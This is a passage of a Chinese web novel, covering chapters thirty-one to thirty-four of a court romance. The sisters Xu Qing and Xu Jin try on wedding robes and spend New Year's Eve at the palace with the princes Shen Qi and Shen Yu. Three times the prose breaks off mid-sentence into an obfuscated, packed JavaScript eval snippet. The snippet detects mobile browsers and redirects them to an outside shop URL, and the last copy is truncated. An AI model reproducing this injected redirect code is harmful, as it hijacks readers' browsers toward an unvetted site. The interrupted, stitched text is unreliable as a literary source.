“我在绣罗铺定了几套衣裳,你去取了再送去城郊林宅。”徐清坐在屋内看着他单薄的身子,轻声交代他,“记得报歌槿的名字,掌柜的会将所有衣裳都给你的。” “好。”少年应了一声后转身,脚步声渐远。 歌槿头也没抬,手上动作不停,调笑道:“姑娘这会儿不同他说那里头有几套衣裳是给他的,晚些他可给你带回来让你穿。” 徐清也笑,“所以我让他一齐送去城郊,小满见了自然能明白,这楞头小子就听她的话。小满说是他的,他届时就会穿了。” “还有松枝,燕琼还听松枝的话。” 歌槿笑着说完,正好笔尖落下最后一个字。她放下笔,吹了吹纸上未干的墨迹。 徐清见她已停了笔,倒了杯热茶走过去递给她,“松枝宠着他,有什么好东西都先紧着他,你信不信这回松枝去庐州,到时回来肯定给他带一堆东西。” “我当然信。”歌槿笑出声,“燕琼屋里头都要装不下了。” 徐清抬手点了点桌案上的信,压着嘴角佯装严肃,可出口分明又是玩笑话,“你在信里多提一句,让松枝省着点,以后还得娶媳妇的。” “得了吧,他会把钱留给燕琼娶小满的。”歌槿笑眯眯地轻拂开她的手,将墨迹已干透的纸装进小小的信筒中。 徐清顺势背靠着桌案,双手后撑,止不住地点头,“那便更好了,肥水不流外人田。” 歌槿笑叹着摇了摇头,走到窗台边,食指与拇指弯曲成圆置于唇间,连着吹出两个悠扬的哨声。 须臾后,院墙外飞进两只灰白的信鸽。 歌槿将信筒绑在信鸽的腿上,前后放飞,随后转回身,从柜子上拿下一个小瓷瓶。 “不与你贫了,我再给你的伤擦些去疤的药。” 屋子里烧着别春炉,歌槿将门窗合上,冷风霎时被隔绝在外。 徐清坐在塌上,抬手将衣领剥开,白皙的肩头上一道刚脱了痂的疤痕显眼。 她前头看向别春炉,忽地问:“今岁除夕,你想回江南过吗?” 歌槿指尖沾了些药膏,轻柔地抹在伤疤上,语调淡淡:“姑娘在哪过,我就在哪过。” 药膏从肩膀一路涂抹到小臂,微凉的触感让她不自觉一颤。 “真不回去?”徐清抬首看着她,又问了一遍,“不嫌冷清?” 往年除夕,居源和的人从五湖四海赶回江南,聚在一块儿,把酒言欢,那叫一个热闹。 徐清常常是在徐府用过年夜饭后才赶去,每次还没瞧见屋子就听见要掀破了天的笑闹声。一进门就笑着调侃众人,“这天都得叫你们喊破了,赶明儿都赶紧出去,别等我爹来了抓人。” 那会儿歌槿左右手各抱着一个空了的酒坛,听了这话一下坐直了,身子却往左右歪,嘴里还嘟囔着:“这是热闹……热闹……就要这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192165|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热闹……才叫迎新年……” 在江南有这般放松惬意的热闹,在京城可就未必了,是故徐清有此一问。 歌槿自然也懂她的意思,将瓷瓶收起,语气轻松,“这儿有姑娘,有燕琼,有小满,还有二姑娘,也热闹的。” 徐清笑了笑,重新穿好衣裳,看着歌槿的身影,转了话头:“那明日同我一齐进宫?” “好。” 宫道长阔,地面上覆着一层浅白。徐清撩开马车帘时,恰有一阵寒风卷着雪粒打来,她一抖,狐裘下的手又将火笼往怀里拢紧了几分。 歌槿先一步下了车,撑开伞后一手扶着徐清慢慢下来。 宫人一路将徐家姐妹引进礼部,掌管衣冠的崔郎中迎了上来,拱手陪笑道:“劳烦二位姑娘跑这一程了。实在是婚服太过厚重繁复,不好运拿,才请二位进宫一趟。” 徐清因着伤口还有些畏寒,这一路走来冻得牙齿都打着哆嗦说不出话,是徐妗挽了笑回道:“无妨,有劳大人。” “姑娘客气。”说着,崔郎中转身引着她们俩往里头走,“二位随我来吧。” 火红的婚服确实如崔郎中所说的那般繁复,除了栩栩如生的金线纹样,还有数不清的金饰、珍珠缀在其间,乍一看是贵气端庄得紧。 “先让宫人替二位姑娘还上试试,淑妃娘娘一会儿便到。” 崔郎中指了几个宫人,端起华贵的婚裙引着二人去偏殿。 而养心殿内,案上热茶涌起的白雾一缕缕升腾,在半空消散。别春炉中碳火充足,整个大殿暖意融融。 皇帝的眉间隆起一个小丘,身子不自觉地前倾,一双如鹰似的黑眸紧盯着面前的棋局,两指间还夹着一颗要落不落的黑子。 片刻后他将黑子扔回棋盅内,身子后靠像软枕,抬手摆了摆,叹道:“朕不与你下了,总留个子给朕,没意思。” 对面的沈祁勾了勾唇角,也将手中的云子放回棋盅中,“是儿臣棋艺不精,让父皇见笑了。” 皇帝哼笑一声,抬手隔空点了点他。 沈祁笑着垂眼,执起一旁的茶盏浅抿了一口。 这算是这么多年来,父子俩难得的没有试探,没有暗流涌动,真正心平气和地坐在一处。 一片祥和中,皇帝转了转手中的佛珠。门外大太监,躬身朝二人行礼,低声道,“陛下,徐二姑娘和徐四姑娘已进宫,现下在礼部。” 话落,皇帝侧首,视线落在那宫人身上,“礼部?做什么?” 沈祁不动声色地放下茶盏,目光顺势转过去。 宫人垂首弓腰,恭顺答:“回陛下,二位姑娘是去礼部试婚服的。” “婚服为何不送去兰府,还要她们二人顶着风雪入宫一趟?朕记得,徐四身上不是还有伤。” “这……”宫人迟疑了一瞬,“好像是淑妃娘娘的意思,道是礼服繁琐,不好运送,便着人请二位姑娘入宫了。” “淑妃的意思?”皇帝有些诧异,其实没想到柳青烟会这么安排。 “是,淑妃娘娘现下正在去礼部的路上。” 皇帝闻言挥手屏退了宫人,转头看向沈祁,“那你与朕也一同去瞧瞧。” 32. 三十二 惊艳 二人的婚服还未换好,身后跟着个沈瑜的柳青烟与后头跟着个沈祁的皇帝便已先后走进礼部。 柳青烟在风雪中向皇帝福了一礼,率先走进偏殿。 她站在屏风后,淡声问:“可是有不合身?” “回娘娘的话,合身的。” 徐清应了一句,垂首看着宫人的手穿过腰间,整理衣上的金链玉饰。 另一边的徐妗先一步换好,她刚绕过屏风,身后徐清也整理好了裙摆,从另一侧绕了出来。 火红的裙摆曳地,腰间环佩相撞的声响格外清脆,缀在其间的金银帘子折着光,让本就艳丽的衣裙又蒙上了一层薄光,衬着人更明艳俏丽了几分。 两件喜服的样式并不相同,裙摆勾勒的纹样,胸前腰间饰着的玉环佩上头雕得也是不同的纹式。但徐清徐妗二人一左一右站在一块,却是一样的光彩夺目,让人一时不知该先看谁。 二人站定后,视线同时落在对方身上,而后又同时眉眼一弯,相视而笑。 沈祁和沈瑜跟在皇帝后头走进来时,看到的就是这样一幅景象。 红衣似火,美人噙笑。 一时间,二人都有些怔然。尤其是沈瑜,眼中的惊艳和欢喜毫不掩饰。 相比于他,沈祁就克制许多,虽说心中也觉得惊艳,还有些隐隐的喜意,面上却不动声色,看不出什么情绪来。 柳青烟分别将二人细细打量了一番,片刻后,嘴角终于泄出一抹满意的笑来,“不错,届时你二人凤冠霞帔,定然让那两傻小子看呆了眼。” 皇帝侧头看了看柳青烟口中的那两个傻小子,笑道,“现在就已经看呆眼了。” 他们三人站得远,正正好好地就堵在门边,是而方才徐清徐妗二人都只瞧见了站在眼前的柳青烟。 这一声出来,姐妹俩循声望去,才看见如门神般的三人,忙福身行礼。 沈瑜乍被揶揄了一下,面上浮了些尴尬的神色,想移开眼,又有些不舍得。徐妗看过去时,就对上了一双满是纠结的黑眸,看起来颇有些可怜。 沈祁倒是一派镇定的模样,仿佛被调笑的没有他一般,但泛起红的耳垂却可以窥见些他的心思。 柳青烟回身,一瞧见他们就拧起了眉,面上有了不悦之意,随后更是直接瞪向沈瑜,语气不满,“不是说了不许你二人进来?现在见了到时见什么?” 沈瑜这回终于移开了眼,他底气不足地低声,“父皇允了的。” “这不合礼数。”柳青烟闻言看向乐呵呵的皇帝。 后者摆了摆手,“无妨,这不只穿了件嫁衣,届时凤冠霞帔一同着上身,这俩小子还是会看呆的。” 这次不等那兄弟二人不好意思,徐家姐妹先微红了脸。 柳青烟转眼一瞥二人,随后松了眉结,上前两步将徐妗的衣襟掖了掖,淡声:“既然没有不合身,便去换下来吧,这衣裙正好开春时穿便不会冷也不会热。如今这天凉,晚些怕是要着凉。” “赶明儿我再遣人替你们姐妹二人裁制一些厚实些的新衣,渐至新岁,有新衣也好有个好彩头。” 二人齐福礼,“多谢娘娘。” 柳青烟松了手,微微抬了抬下巴,示意二人进去准备换衣。随后转身和皇帝沈祁沈瑜他们一同出去。 徐妗先进了内殿,徐清跟在她后头。裙摆拖曳在身后,随着徐清方才转身的动作堆在了一处,她垂头瞟了一眼,指尖捏住些布料轻轻提了提。 身后的宫人立刻矮身蹲下准备替她将裙尾拉开,她顺势抬眼往身后一瞥,朝正也回头看她的沈祁露了抹笑。 待姐妹俩换回来时的衣裙,披上狐裘再出来时,空中飞雪搓绵扯絮般又落得大了些。 皇帝一行人坐在礼部正堂,茶盏中飘出白雾袅袅。二人随着宫人走进堂内时,皇帝正坐在正堂上首,翻阅着礼部草拟好的大婚准备和流程。 柳青烟坐在一旁,与他隔了些距离,时不时点上几句。 而礼部崔郎中就站在二人身侧,躬着身子,谄着笑。 二人刚矮身,皇帝抬眼一瞥,摆了摆手,“免礼。” 沈瑜一见徐妗走进来,便将手中的火笼递给她。 徐妗笑了笑,伸出一根纤细的指头将火笼推回去给沈瑜,“多谢殿下,不过殿下自己留着罢,臣女手中正捂着呢。” “咳……”沈瑜低咳一声,讪讪地收回手,左右瞧了瞧又道,“那……那坐下喝杯热茶罢?暖暖身子?” 徐妗这回倒是没再拒绝,顺着他一同落座,一旁的宫人立刻端上了杯新烧的热茶,置在她手边。 徐清在一旁将二人的互动看得分明,见阿姐已经过去坐下了,手上又扯了扯狐裘,将自己裹紧实了些。 黑润的漆瞳一转,落在了坐在另一边的沈祁。 秋猎后京城风平浪静,柳青瓷闺中待嫁,沈硕也未曾再来找过她,年赋门也也暂无动静,只有庐州那偶尔有消息传来。而她和沈祁,自那夜之后也许久未再见。 这一片祥和中,倒是过年的氛围越来越浓烈。 徐清走过去,把怀里的火笼递给他,清亮的瞳眸里蕴着些碎光,面上一派笑盈盈的模样,她问:“殿下很冷吗?怎么耳朵这么红?” 沈祁抬眼定定看了她一会儿,竟也毫不客气地接了。 “多谢徐姑娘关心,确实有些冷呢。” 徐清空了的手在半空一滞,笑容微顿。她本只想逗一下他,没想到他真接了,一时间想伸手要回来,又拉不下脸,手在半空前后顿了又顿。 一阵凉风自堂外来,涌进徐清失了暖意来源的怀中,她控制不住的一哆嗦,手立刻收回怀中,顺便将狐裘又拢了拢。 她瞪了沈祁一眼,就近落座在了他旁边的位置上,随后端起宫人新上的热茶抿了一口,顿时驱散了不少身体里的寒意。 沈祁嘴角噙了抹笑,撑着脑袋在一旁看着她喝了口热茶后陡然放松下来的身子,掌中不自觉摩挲着小巧精致的火笼。 “徐姑娘看起来比本王冷得多啊,脸都红透了。” 徐清闻言放下茶盏,木着脸朝他伸手,“还我。” 沈祁一扬眉,“徐姑娘方才自己给本王的,送出去的东西还有要回去的道理?” “殿下方才也说了,臣女看起来比你冷。”徐清煞有介事道,“这东西就应该给更需要它的人拿着。” “可是……” 沈祁起了个声,余下话还未出口,徐清又道:“快还给我,我不同你吵架。” 一句话将沈祁思绪拉回那夜,这一下他就噤了声。转手将怀里另一个火笼递给她。 徐清瞟了一眼:“这不是我的。” 沈祁吸了一口气,直接将火笼塞进她手中,没好气道,“我这个更暖和,你这都凉了,还你的我的。” 掌心碰上徐清冰凉的指尖,他猛地缩回手,“快捂着吧,身上伤还没好全,晚些着凉了可有你受得。” “诶。”徐清将火笼拢进怀里,又向沈祁的方向倾身,“我发现自打秋猎后,殿下与臣女说话越来越不耐烦了,先前可喜欢与我兜弯子,绕心眼子了,如今殿下这是转性了?” “徐姑娘先前心眼子不比本王少,如今不也动不动就敢揶揄本王?” 沈祁侧头落了一眼,语气有些僵硬。 徐清但笑不言,垂头端起茶盏又抿了口。 皇帝放下册子时,抬眼便看见下方一边两个的,都正凑着脑袋低声讲着悄悄话。 他露了点笑,挥退了崔郎中,转头同柳青烟道,“今岁除夕,你留在宫里过吧?” 话随时同柳青烟说的,声音却能传到这个正堂的每个角落。 “正好,徐二徐四到时也进宫来,一同热闹热闹。” 正各自说着话的四人停下来,同时抬首。 皇帝笑得一脸慈祥,问她们:“你二人可愿意?” 不等二人答话,柳青烟在一旁先提了一句:“孩子们还未成婚,这怕是不合礼数。” “无妨,朕今年就想过得热闹些。”皇帝摆了摆手,“你不愿留在宫中,来年开春他们成了婚,你又要进大慈恩寺。你不想看看儿子儿媳在身边一同迎新吗?” 柳青烟目光往沈瑜身上落了一瞬,抿着唇不再言语。 皇帝这才又看向徐清徐妗二人,复问:“你们可愿今岁除夕入宫来?” 二人对视一眼,颇都些无奈。今岁本是打算随舅父舅母一同去城郊林宅同外祖母和舅公小满他们一同过的。 但陛下这一番话不仅让柳青烟哑了口,连带着把她们二人也一同架起来了。 这是不答应也得答应了。 “臣女愿意,谢陛下恩典。” “好。”皇帝大笑,转头吩咐身旁的大太监,“吩咐下去,让礼部速速再裁几件冬衣出来,要喜庆些的,届时送去兰府给徐二徐四。” 大太监弓着身子,上前一步,笑着提醒:“陛下,方才娘娘已说过要给二位姑娘裁新年衣裳啦。” “是吗?”皇帝侧头去看柳青烟,看见她无奈地点了点头,这才笑着撑住桌子,“朕这是老了,方才发生的事都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210002|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得了。” “陛下又在胡说了。”柳青烟拧眉嗔了一句,“陛下春秋鼎盛,长寿无疆,天下百姓都仰仗着陛下呢。” 皇帝笑而不语,却是对柳青烟这番话十分满意。 柳青烟往外头的天瞧了眼,“这冬日的天黑的早,今日雪又落得大。本宫派人送你们回去,免得晚些看不清路了。” “母妃。”沈瑜站起来,“儿臣同五弟送二位姑娘回去罢。” 说罢,他侧头朝沈祁使了个眼色。 沈祁不接,老神在在地抿了口茶。 柳青烟也不太赞同,“你们二人的王府在长乐坊,兰府在永崇坊,何需你二人绕远路一趟?” 沈瑜急了,看了看沈祁,又看了看蹙眉的柳青烟,嘴里说不出话来。 “行了,就你二人去送。” 皇帝发了话,沈瑜立刻作辑扬声:“谢父皇。” “陛下!”柳青烟低呼一声。 “这天黑的早,他们两个小子怕什么?”皇帝站起身,一手横在腹前往外走,“走罢。” 柳青烟跟了几步,还是不放心,回头又叮嘱道,“这雪天路滑,你们二人切记小心策马,莫要着急,早些回府。” “知道了母妃,我们会小心的。”沈瑜推着她往外走,“再说我们两个大男人,摔一下也不会怎么样。” 听着话柳青烟便不乐意了,“不许说胡话,你忘了你小时候在江……” “好了母妃。”沈瑜打断她,“父皇在等您呢,快去快去。” “你这孩子……” 柳青烟还想说两句,沈祁也走过来带着她往外走,“放心吧姨母,我会护着他的,保证不让他摔了。” “谁要你护!” “闭嘴!” “你……” “诶诶好了好了。”被二人夹在中间的柳青烟头疼地抬手制止二人,“多大的人了还这样吵,本宫不管你们了,你们自个儿小心吧。” 说罢,左右甩开他们的手,步履匆忙地追上皇帝。 瞧着她走远了,沈瑜回身走到徐妗身边,“走罢。” 徐妗浅笑着点了点头,二人一同往前走。 徐清跟在二人身后瞧着,叹了一句,“如今怀王殿下与我阿姐感情倒是好。” 沈祁从身后慢慢跟上来,自然地接话,“秋猎时四哥一直带着她,相处多日感情自然好。” “那说明怀王殿下对我阿姐确实好,不然阿姐也不会轻易接受。” 沈祁略略回忆了一下,赞同地点点头,“确实好。” “你俩在后头干嘛呢?走不走了?” 沈瑜见二人迟迟不追上来,回头扬声喊道。 “走了。”徐清拢紧了些狐裘,快步往前走去。 冬日的天确实暗得早,马车停在兰府时,夜幕低垂,唯有府门口候着的小厮和婢女手中的灯笼散着一点光,映着摇摇晃晃落下的雪。 二人下了马车,婢女立刻上前来抵上热乎的火笼,好替了她们二人手中已凉却了的。 徐清接过暖和了下手,又阻止了婢女伸来的手,转身向沈祁走去。 他坐在马上,高了不止半点。徐清停在马前,需仰头看他。 她举起手,将沈祁的火笼递到他面前,“多谢殿下。” 眼睛落在她的手上,沈祁轻笑一声,“没用了东西就丢了?” 徐清一愣,觉得这句式颇有些熟悉。 不等她想个所以然来,沈祁已伸出手接过了那凉透了的火笼。 她顿了顿,收回手,温声道:“殿下路上小心。” 说罢,她转身,却听见身后忽有落雪成冰被踩踏的轻微声响。 再回头,便见沈祁下了马,手握缰绳,他直看着徐清,目光沉沉,却又在灯火的映照下亮着碎光。 周遭一片寂静,小厮往府里跑去向兰夫人通报她们二人归来,婢女站在不远处掌着灯。唯有一路上隔着帘子对徐妗嘘寒问暖的沈瑜,临到分别还依依不舍地同徐妗说话。 “徐清,”沈祁用只有二人才能听见的声音唤她,“万寿宴那日,你说你会助我,只求事成之后与你和离,放你回江南,可是真心话?” “自然是真心话。” 徐清眨了下眼,很快便回答他,唇角勾起的笑真挚,让人看不出是她说的话是真是假。 沈祁又问:“当皇后也不愿意?” 徐清很干脆道了句:“不愿意。” 他点点头,没再追问,重新翻身上了马。 “快进去罢。” 33. 三十三 除夕 除夕夜,华灯初上,街头巷尾张灯结彩,万家灯火不灭,亮如白昼。 街巷上有三两孩童手拎挂着一串小爆竹的竹竿奔跑,接连不断的笑声传来,伴着一阵阵噼里啪啦的炮仗声。 一片热闹祥和中,几辆马车从兰府门外向两个方向驶去。 兰弈郴带着妻儿,准备去城郊林宅同母亲和舅父一同迎新年。 而徐清徐妗二人身着柳青烟命人裁制的新衣,也即将入宫。 沿途欢声笑语,人声鼎沸,锣鼓喧天,喜庆非常。 徐清撩了帘子见这方人间烟火,想起在江南的每年除夕,也是这般热闹的景象。 想到江南,心下又不免有些惆怅。今岁除夕,竟是与阿姐同一群各有心思的人一起过。 她叹出一口气,放下帘子。 徐妗抬手抚了抚她的鬓发,笑问:“想什么呢?如此喜庆之日,作何叹气?” “我在想,爹娘还有大哥三哥栖枝他们,现在是不是在吃年夜饭了。” “清清想家了是不是?”徐妗动了动身子,更靠近了徐清几分,声音柔和,“阿姐在这陪着你呢。” 徐清靠上阿姐的肩头,微闭上眼,轻声,“嗯,还好有阿姐在。” 马车穿过街市,停在宫门外。二人下了马车,怀揣火笼跟着宫人走进宫内。 宫墙内同外头是不同的热闹,但一样的是灯火通明,红妆盛宴。 二人一踏进殿里,便被人左右拉了过去闲聊。 徐清看着面前小腹微隆,但还不甚明显的钟芸熙,抬手轻抚了一下她的肚子。 “娘娘近日身子如何?” “我自个儿是觉得好多了,但太医说还得再静养段时间。” 钟芸熙一手撑着腰,一手拉起徐清置在她腹上的手,认真道:“先前之事一直未能当面道谢,你救我和我肚里孩儿两条命,是我恩人,他日你若有需要,可随时来找我,我定全力相助。” 徐清笑道:“娘娘这句话,我可是记着了。” 话落,不再待二人多说几句,宫人端着菜肴鱼贯而入。 二人便止了话头,先后入席。 除夕夜的宫宴,是一场家宴。除了陛下、皇后,皇子及皇子家眷,只有曾孕育过子嗣的嫔妃可以参加。是以殿内人不多。 众人落座,已成了婚的三位皇子同自个儿王妃坐在了一处,徐清和徐妗恰好落座在沈祁沈瑜对面。 家宴免了许多虚礼,众人坐在席间笑谈,几乎都围绕着钟芸熙的肚子,顺带着点一点周王妃和成王妃。 徐妗和徐清因着还未大婚,免了这场催促。 大殿内暖意融融。今岁是柳青烟十年来又一次重新在宫中过新年,沈瑜几番跑去同她敬酒,一张能说会道的嘴说了许多喜庆话。沈郗时不时偏头关心钟芸熙,将她不能食之物移远了些。沈硕沈桉也带着妻子或同皇帝敬酒,或与母妃讨彩头。 觥筹交错间,徐清也喝了不少。皇帝笑吟吟地瞧着她,命她和徐妗上元节也一道来宫里过。 这回儿不等柳青烟和丁枣儿说上一句“不合礼数”,徐清先撑着脑袋像是喝醉了般直言:“多谢陛下恩典,但上元节…嗯…上元节要去同外祖母一起过。” 皇帝微顿了下,似是在想她的外祖母是谁。须臾后他笑道,“是个有孝心的孩子。” 也不知究竟想没想起,只说完这句后又转头与端着酒樽而来的沈郗喝上了两杯。 又几杯酒下肚,徐清微微晕眩,晃了晃脑袋,一抬眼,就瞧见对面的沈祁一人安静地喝着温酒,似与周遭的热闹格格不入。 她撑起身子,有些摇晃地走向沈祁。 面前投下一片阴影,沈祁乍以为是沈瑜,往年时,只有他二人母亲不在身边,抱团以取暖。今岁柳青烟归来,沈瑜一开始便一直跟在她身边,连徐妗都不曾顾上几分。 他勾起唇,一边抬头,一边用略带嘲讽的口吻出声,“这是喝足了一圈才想起我……” “我”字止在唇边未出口,他望着眉眼弯弯的徐清,顿觉自己方才出口的话宛若一个因被忽视而讨不到糖吃的小孩子一般。 脸色变了又变,最后有些难看的看着徐清问:“你来做什么?” 徐清笑意盈盈地举起手中的酒樽,认真道,“我来敬殿下,祝殿下新岁欢愉,年年今夜。” 沈祁轻哼一声,嘴里一边不客气道“你看着我今夜像是欢愉的样子?”一边倒是承了这杯敬酒。 “所以殿下一个人坐在这喝闷酒?” “你哪只眼睛瞧见我我喝的是闷酒?” 徐清顿了下,没接话,不知是被沈祁这样的态度气到了,还是被这样一怼无言以对了。 沈祁见她半晌没话,心下一虚,想是不是自个儿话有些冲了。眼珠一转迅速瞟了下她的神色,轻咳一声想说些什么。 徐清却蓦地弯腰抬手,轻轻点了点他的侧脸,道:“殿下脸都喝得熟透了,该醉了吧?” “什么?”沈祁感觉到了面上那一点微凉,怔然看着忽然近在咫尺的面颊。 “正好我也喝的有些醉了,不如殿下和我一道出去吹吹风?” 沈祁顺势看向殿外,灯火通明中还能看见空中落下的雪。 他心道外头那么冷,吹一吹莫说醒神,怕是直接就冻傻了。 但他也就心中腹诽几句,嘴上却什么也没说,撑着腿站了起来。 一片喜庆欢声中,没人注意到二人的离席。 宫道上明灯错落,徐清带着他一路往僻静处走去。 出来时徐清没穿上狐裘,如今寒风吹在身上一阵阵凉意透过裸露在外的皮肤渗进身体。 她往前走的同时,双手抱着自己摩挲,这下醉意是散了,脑袋也清醒了不少,心下一时后悔方才一冲动狐裘都没拿就直接出来。 身后沈祁一路跟着她,将她的动作一一收入眼底。 又走了几步,他实在没忍住,开口叫住了徐清,“去哪啊?” 徐清步子没停,想着多走走能再驱散些寒意,一张口嘴里呼出白气,“带你去个地方,可以看到大半个京城。” 她这一说,沈祁就知晓要去哪了。他正想追问徐清如何知晓宫中这座高楼在何处的,又见她被又起的寒风吹得一哆嗦,便伸手拽住她。 他出来时身上也没穿上狐裘,却不知从哪变戏法般掏出了一个火笼递给徐清。 火笼尚热,徐清接过捂在手心中,驱散了些寒意,顿觉通体暖上不少。 再一细瞧,这不是那日在礼部他接走了却没还给她的那只火笼吗? “殿下给了我,自个儿不冷?” 嘴上虽这般说着,手上却是将火笼又往怀中拢了拢,丝毫没有让出的意思。 “我日日练武,没那么畏寒。”沈祁继续往前走,嘴上嘲笑她,“倒是你,打起架来凶得很,怎的如此怕冷?” 徐清没太在意,只道:“这不伤好了,身子还没好嘛,自然畏寒。” 沈祁沉默了片刻,沉声问:“我给你的药没用?” 徐清一听他的语气便知他又不高兴了,无奈地侧头瞧他一眼,“用了,疤痕已去。是我自个儿只用了外敷的药,没怎么将养,加之京城冬日实在寒凉,才致如今这般。” 话落,二人正好到了抚云阁,高阁昏暗,只有最底下这层点了明灯。 抚云阁是先皇登基第三年为其皇后所建的高楼,以展现宠爱之意。帝后常携手共登阁顶,俯瞰京城。后帝后晚年情断恩绝,抚云阁再无人登,先皇驾崩后,皇太后幽居宁寿宫,几乎不再过问任何事。 “皇祖母崩逝前,非要来这抚云阁,自己一个人撑着封了顶,最后在阁顶睡了过去,再也没起来。” 沈祁仰头望着高耸的阁楼,语气有些在风雪中有些飘忽,许是今夜热闹非凡,但好似都与他无关,他忽然想多说些。 “许是那时她就感觉到了自己已至油尽灯枯之时,她幽居宁寿宫那些年,我去看她,也曾问过她,皇祖父缠绵病榻时她为何不去瞧,她说兰因絮果,不见得好。” “可她到生命尽头时,还是来了这里。”沈祁似是笑了声,“我母后亦是如此。” 顿了顿,他又改口,“不,她更惨些,初始的美好都未曾拥有过,到头来,什么都没有。” 徐清忆起那日皇帝问她托梦之事可真时眼底难以抑制的悲伤,没再多说,而是转了话头。 “殿下想不想上去瞧瞧?” “上面乌漆墨黑的,上去作甚?”沈祁偏头瞧她,忽的‘嘶’了声,双手抱臂,“我说你这人,进宫没几次,倒是能跑,整个皇宫你都摸清了吧?” “好冷啊。”徐清跺了跺脚,避开他的视线,笑了笑,“我们快上去吧,等会看到满京城的百家灯彩就亮堂了。” 说着她往前走了两步,见沈祁没跟上来,回身又一脸认真地补充了一句,“子时有烟火,上去看更漂亮。” 沈祁好笑地冲她扬了扬下巴,“上去更冷,高处不胜寒听没听过?” “那怎么办?”徐清回身走到他面前,脸上无不遗憾。 她也想看看京城的除夕烟火,百年欢腾。 沈祁瞧着她的神色,轻笑了声道:“等着。” 徐清迟疑了一下,“做什么去?” “去给你弄点暖和的东西来。”沈祁转身,朝她招手,“别等会真冻傻了。” 片刻后,他臂弯里搭了件厚实的狐裘,手里拿着两个火笼快步走过来。 “你从哪弄来的?”徐清接过狐裘,忙往身上披,言语中掩不住的惊喜。 “母后的寝殿里取得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈祁倒没说什么,他坐这侧的棋盅里放置的是黑子,他率先捞出一颗落在局中。 第一颗子落下,徐清掸了掸袖子,也专注起来。 屋内只有二人方才从下头顺上来的两根灯烛,在昏暗的室内散了点微弱的光笼住正专心对弈的二人。 时间在二人一来一回中悄然而逝,骤闻外头传来“嘭——嘭——”的几道接连不断的响声。 光溜进屋内,将整个楼阁都照亮堂了。 徐清捏着云子侧头,惊喜道:“子时了!” 她将云子放回棋盅中,提着裙摆站了起来。一手撑着木栏,微微仰起头,一朵朵烟火炸开,让她站于这高耸的楼阁时有种置身在这万千火树银花中般。 沈祁从她身后走出来,语调因愉悦而上扬,“我赢了。” 徐清闻言从满天绚丽中抽了些神回来,回头看了眼楸枰上的局,又转回头接着看空中不断变换的烟火。 “嗯,殿下想问什么?我定如实相告。” 沈祁侧眸去看她,绚烂的烟火落在她眼底,映着她带笑的面颊忽明忽灭。 眼底泛出细微的波澜,他忽然想起他一日一夜之内从骊山赶回京城,又从京城赶回骊山那时,云思起问他跑这一趟究竟为何。 那时他只答是忧心盟友,亦担心徐清还未过门便身死反让他落个不详。 但就在这刻,他看着她,顿觉胸腔中有什么跳得比平日快了许多。 他喉结轻滚,开口时觉得喉口微微干涩,“你方才是不是让我了?” 徐清目光未挪动半分,“殿下怎么会这般想?自然是我自个儿棋艺不精,技不如人,才叫殿下赢了。” “好。”沈祁双手撑在木栏上,与徐清的手只隔了一拳的距离,他似是不经意般问:“你上元节那日可得空?” 徐清这回是收了视线往他身上落了一瞬,“殿下这是第二个问题了。” “不过这个问题我方才在大殿上已经回过陛下了,上元节那日我与阿姐要去城郊陪外祖母的。” 沈祁撑着木栏的手不可察地紧了紧,他绷着嗓,“噢。” 而徐清没注意到他的神色,抚了把耳畔边被风拂乱的鬓发,“殿下那日有事?” 他抿了抿唇,“那日是我生辰。” “这么巧?”徐清诧异,“殿下果真是个福星,降生在万民齐乐之日。” 她真心实意地夸了一通,却没说一句沈祁想听到的。 他等了半晌,就见徐清盯着渐歇了的烟火站直了身子。 “回去了,等会陛下娘娘该派人来寻了。” 说罢她转身,拿起案几旁的灯烛,率先走了下去。 沈祁面色微凝,看着不太高兴地拿起另一只灯烛跟上她。 夜色中,二人并肩往更亮处走去。 宫外仍旧哗声喧天,整座京城秉烛彻夜。不止京城,整个大梁今日皆热闹非凡。 但无人知晓的千里之外,有人一袭褴褛衣裙,浑身没一块好皮地倒在了异国他乡的泥地中。 血不断从她的身下涌出,鲜红地如同今夜京城各家高挂的红灯笼。 34. 第三十四 上元节 “徐锦贞!你慢一点!” 徐清放下手中的汤盅,躲在栖枝身后看徐泽愠怒的面色,嬉皮笑脸地晃了晃脑袋。 徐泽见她那般模样,更是气不打一处来。他抬手临空点了点她,看着一副气急的模样,但对栖枝说话时语调又柔和得不像话。 “你别老护着她。” “你也别老凶她。”栖枝嗔了一句。 “那汤那么烫,这地又这么滑,她等会摔一跤又要闹。” 徐清闻言,心想这可是诽谤,嘴上也不自觉嘀咕了句,“我才不会摔,更不会闹。” “你看她!”徐泽说着大步走过来,伸手就要把徐清从栖枝身后揪出来。 徐清连忙左躲右闪,嘴里喊着,“嫂嫂救我。” 三人闹作一团,徐妗和小满分别扶着林蓉双和林嵘舟走过来。 林蓉双用手中的木柺敲了敲地,“好了好了,整日闹个没完了。” 言语是说教,面上却带着欣慰的笑意,分明是乐意看到这样的画面。 